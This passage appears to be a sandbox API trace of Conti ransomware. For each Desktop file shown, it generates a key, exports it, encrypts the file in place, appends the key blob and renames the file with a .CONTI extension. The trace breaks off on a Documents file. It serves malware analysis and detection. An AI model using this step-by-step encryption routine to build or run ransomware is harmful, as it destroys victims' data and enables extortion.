	[0137.562] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x69f, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x6a0) returned 1
	[0137.562] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.562] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x6a0, lpOverlapped=0x0) returned 1
	[0137.562] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.562] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e970*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0137.562] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.562] CloseHandle (hObject=0x424) returned 1
	[0137.562] GetProcessHeap () returned 0x1720000
	[0137.562] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.562] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv"
	[0137.562] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv.CONTI"
	[0137.562] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\1awxnt5 1vat9.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\1awxnt5 1vat9.mkv.conti")) returned 1
	[0137.563] GetProcessHeap () returned 0x1720000
	[0137.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.563] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.563] GetProcessHeap () returned 0x1720000
	[0137.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17413a0 | out: hHeap=0x1720000) returned 1
	[0137.563] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.563] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fe00 | out: phKey=0x6b4fe00*=0x6b7f0b8) returned 1
	[0137.563] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fe04, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4fe04*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.564] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\8_7irh6ci.swf")) returned 0x20
	[0137.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\8_7irh6ci.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.564] GetLastError () returned 0x0
	[0137.564] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=16289) returned 1
	[0137.564] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fa1
	[0137.564] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.564] SetEndOfFile (hFile=0x424) returned 1
	[0137.565] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.565] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.565] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fe04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4fe04*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.565] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.565] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x3fa1, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x3fa1, lpOverlapped=0x0) returned 1
	[0137.566] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3fa1, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3fb0) returned 1
	[0137.566] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.566] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x3fb0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x3fb0, lpOverlapped=0x0) returned 1
	[0137.566] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.566] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4fdf8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0137.566] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.566] CloseHandle (hObject=0x424) returned 1
	[0137.566] GetProcessHeap () returned 0x1720000
	[0137.566] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.566] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf") returned="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf"
	[0137.566] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf.CONTI"
	[0137.566] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\8_7irh6ci.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\8_7IRh6cI.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\8_7irh6ci.swf.conti")) returned 1
	[0137.567] GetProcessHeap () returned 0x1720000
	[0137.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.567] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.567] GetProcessHeap () returned 0x1720000
	[0137.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf0d0 | out: hHeap=0x1720000) returned 1
	[0137.567] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.567] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x6b7f6b8) returned 1
	[0137.567] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f4e4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.568] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9agzpqgmgr_rxb7cuhu.doc")) returned 0x20
	[0137.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9agzpqgmgr_rxb7cuhu.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.568] GetLastError () returned 0x0
	[0137.568] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=85370) returned 1
	[0137.568] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14d7a
	[0137.568] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.568] SetEndOfFile (hFile=0x424) returned 1
	[0137.568] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.568] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.568] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.577] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.577] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x14d7a, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x14d7a, lpOverlapped=0x0) returned 1
	[0137.578] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14d7a, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14d80) returned 1
	[0137.578] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.578] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x14d80, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x14d80, lpOverlapped=0x0) returned 1
	[0137.579] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.579] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0137.579] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.579] CloseHandle (hObject=0x424) returned 1
	[0137.579] GetProcessHeap () returned 0x1720000
	[0137.579] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.579] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc") returned="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc"
	[0137.579] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc.CONTI"
	[0137.579] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9agzpqgmgr_rxb7cuhu.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9aGZpqgmgR_rxb7cUHu.doc.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\9agzpqgmgr_rxb7cuhu.doc.conti")) returned 1
	[0137.580] GetProcessHeap () returned 0x1720000
	[0137.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.580] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0137.580] GetProcessHeap () returned 0x1720000
	[0137.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbf68 | out: hHeap=0x1720000) returned 1
	[0137.580] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.580] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b50290 | out: phKey=0x6b50290*=0x6b7f438) returned 1
	[0137.580] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50294, pdwDataLen=0x4d3fec4 | out: pbData=0x6b50294*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.581] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\an79rw.mkv")) returned 0x20
	[0137.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\an79rw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.581] GetLastError () returned 0x0
	[0137.581] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=25697) returned 1
	[0137.581] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6461
	[0137.581] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.581] SetEndOfFile (hFile=0x424) returned 1
	[0137.581] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.581] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.581] WriteFile (in: hFile=0x424, lpBuffer=0x6b50294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b50294*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.583] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.583] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x6461, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x6461, lpOverlapped=0x0) returned 1
	[0137.583] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x6461, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x6470) returned 1
	[0137.583] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.583] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x6470, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x6470, lpOverlapped=0x0) returned 1
	[0137.583] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.583] WriteFile (in: hFile=0x424, lpBuffer=0x6b50288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b50288*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0137.584] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.584] CloseHandle (hObject=0x424) returned 1
	[0137.584] GetProcessHeap () returned 0x1720000
	[0137.584] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.584] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv"
	[0137.584] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv.CONTI"
	[0137.584] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\an79rw.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\an79RW.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\an79rw.mkv.conti")) returned 1
	[0137.584] GetProcessHeap () returned 0x1720000
	[0137.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.584] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.584] GetProcessHeap () returned 0x1720000
	[0137.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d288 | out: hHeap=0x1720000) returned 1
	[0137.584] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.585] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b50968 | out: phKey=0x6b50968*=0x6b7f1b8) returned 1
	[0137.585] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5096c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b5096c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.585] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\ccdcart.bmp")) returned 0x20
	[0137.585] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\ccdcart.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.586] GetLastError () returned 0x0
	[0137.586] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=82418) returned 1
	[0137.586] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x141f2
	[0137.586] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.586] SetEndOfFile (hFile=0x424) returned 1
	[0137.586] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.586] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.586] WriteFile (in: hFile=0x424, lpBuffer=0x6b5096c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b5096c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0138.996] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.997] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x141f2, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x141f2, lpOverlapped=0x0) returned 1
	[0138.997] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x141f2, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x14200) returned 1
	[0138.997] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.998] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x14200, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x14200, lpOverlapped=0x0) returned 1
	[0138.998] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.998] WriteFile (in: hFile=0x424, lpBuffer=0x6b50960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b50960*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0138.998] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.998] CloseHandle (hObject=0x424) returned 1
	[0138.998] GetProcessHeap () returned 0x1720000
	[0138.998] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0138.999] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp"
	[0138.999] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp.CONTI"
	[0138.999] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\ccdcart.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\CCdcaRT.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\ccdcart.bmp.conti")) returned 1
	[0139.001] GetProcessHeap () returned 0x1720000
	[0139.001] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.001] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0139.001] GetProcessHeap () returned 0x1720000
	[0139.001] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5f8 | out: hHeap=0x1720000) returned 1
	[0139.001] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.002] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f050 | out: phKey=0x6b4f050*=0x6b7f1b8) returned 1
	[0139.002] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f054, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f054*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.003] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\hVDszXRLyv\\9TRMLpoNG-7TVYw1V.docx" (normalized: "c:\\users\\fd1hvy\\documents\\hvdszxrlyv\\9trmlpong-7tvyw1v.docx")) returned 0x20
